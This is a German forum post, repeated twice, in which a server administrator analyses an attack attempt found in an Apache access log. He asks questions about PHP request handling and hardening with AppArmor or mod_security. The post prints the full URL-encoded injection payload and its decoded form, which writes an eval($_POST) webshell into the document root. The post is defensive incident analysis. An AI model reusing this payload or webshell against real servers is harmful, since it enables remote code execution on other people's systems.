Hi,
einer unserer Webserver ist angegriffen worden. Die offizielle Apache ML konnte mir schon teilweise weiterhelfen, jetzt habe ich aber noch einige nähere Frage zu php und Datenübergabe vom Client zum Server.
Ich bin kein php Programmierer, kenn mich etwas mit der Konfiguration von Apache aus.
Der Angriffsversuch im access_log:
91.200.12.33 - - [06/Feb/2017:16:43:26 +0100] 236 "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29% 3B%40set_time_limit%280%29%3B%40set_magic_quotes_r untime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DO CUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAg ZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7 C%3C-%27%3B HTTP/1.1" 200 90
Die IP ist aus der Ukraine, der Statuscode 200 hat mich natürlich erst mal etwas verrückt gemacht.
Diesen mit Prozent codierten String kann man umwandeln (gibt's Webseiten dafür):
/?1=@ini_set("display_errors","0");@set_time_limit( 0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',base64_decode('PD9waHAgZXZhbCgk X1BPU1RbMV0pOz8+'));echo '|<-';
Das sieht ja schon mal etwas verständlicher aus.
Mit ini_set versucht er was in der php.ini zu verändern. set_time_limit (0) erlaubt ihm daß sein script ewig laufen kann. set_magic_quotes_runtime setzt den Wert von magic_quotes_runtime auf Null. Dann versucht er mit file_put_contents eine Datei anzulegen und direkt einen String reinzuschreiben. Und zwar im Document_root des Webservers (bzw. hier im document_root des vhostes).
Der string lautet decodiert: <?php eval($_POST[1]);?> .
Das scheint wohl sehr kritisch zu sein. Eval führt einfach alles aus was es bekommt. Und die Anweisungen würde er per POST an die webconfig.txt.php schicken.
Die @ vor den ersten drei Funktionen unterdrücken eventl. Fehlermeldungen.
Hab ich alles richtig verstanden bisher ?
Meine Fragen:
wozu sind die beiden echos gut ? Was soll das 1= am Anfang des übergebenen Strings ? Steht dann in $_GET[1] der gesamte String ? Oder nur bis zum esten Semikolon ?
Ist es per $_GET[] bzw. $_POST[] auch mit einem Zählindex möglich, auf die einzelnen Arrayelemente zuzugreifen oder geht das nur über den Namen ?
Würde der php Interpreter das alles einfach so übernehmen ? Der Angriff war übrigens erfolglos da, Sicherheitsempfehlungen von hhtp.apache.org folgend, der User wwwrun nur lesenden Zugriff auf Document_root hat.
Das wär's mal für's erste.
Aah: Apache 2.2.3, php 5.2
Danke.
Bernd
P.S. Ich weiß das die eingesetzten Versionen alt sind. Asche auf mein Haupt. Wird aktualisiert.
Was haltet Ihr unabhängig von der notwenidgen Aktualisierung von Absicherung per AppArmor oder mod_security ?
einer unserer Webserver ist angegriffen worden. Die offizielle Apache ML konnte mir schon teilweise weiterhelfen, jetzt habe ich aber noch einige nähere Frage zu php und Datenübergabe vom Client zum Server.
Ich bin kein php Programmierer, kenn mich etwas mit der Konfiguration von Apache aus.
Der Angriffsversuch im access_log:
91.200.12.33 - - [06/Feb/2017:16:43:26 +0100] 236 "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29% 3B%40set_time_limit%280%29%3B%40set_magic_quotes_r untime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DO CUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAg ZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7 C%3C-%27%3B HTTP/1.1" 200 90
Die IP ist aus der Ukraine, der Statuscode 200 hat mich natürlich erst mal etwas verrückt gemacht.
Diesen mit Prozent codierten String kann man umwandeln (gibt's Webseiten dafür):
/?1=@ini_set("display_errors","0");@set_time_limit( 0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',base64_decode('PD9waHAgZXZhbCgk X1BPU1RbMV0pOz8+'));echo '|<-';
Das sieht ja schon mal etwas verständlicher aus.
Mit ini_set versucht er was in der php.ini zu verändern. set_time_limit (0) erlaubt ihm daß sein script ewig laufen kann. set_magic_quotes_runtime setzt den Wert von magic_quotes_runtime auf Null. Dann versucht er mit file_put_contents eine Datei anzulegen und direkt einen String reinzuschreiben. Und zwar im Document_root des Webservers (bzw. hier im document_root des vhostes).
Der string lautet decodiert: <?php eval($_POST[1]);?> .
Das scheint wohl sehr kritisch zu sein. Eval führt einfach alles aus was es bekommt. Und die Anweisungen würde er per POST an die webconfig.txt.php schicken.
Die @ vor den ersten drei Funktionen unterdrücken eventl. Fehlermeldungen.
Hab ich alles richtig verstanden bisher ?
Meine Fragen:
wozu sind die beiden echos gut ? Was soll das 1= am Anfang des übergebenen Strings ? Steht dann in $_GET[1] der gesamte String ? Oder nur bis zum esten Semikolon ?
Ist es per $_GET[] bzw. $_POST[] auch mit einem Zählindex möglich, auf die einzelnen Arrayelemente zuzugreifen oder geht das nur über den Namen ?
Würde der php Interpreter das alles einfach so übernehmen ? Der Angriff war übrigens erfolglos da, Sicherheitsempfehlungen von hhtp.apache.org folgend, der User wwwrun nur lesenden Zugriff auf Document_root hat.
Das wär's mal für's erste.
Aah: Apache 2.2.3, php 5.2
Danke.
Bernd
P.S. Ich weiß das die eingesetzten Versionen alt sind. Asche auf mein Haupt. Wird aktualisiert.
Was haltet Ihr unabhängig von der notwenidgen Aktualisierung von Absicherung per AppArmor oder mod_security ?
Kommentar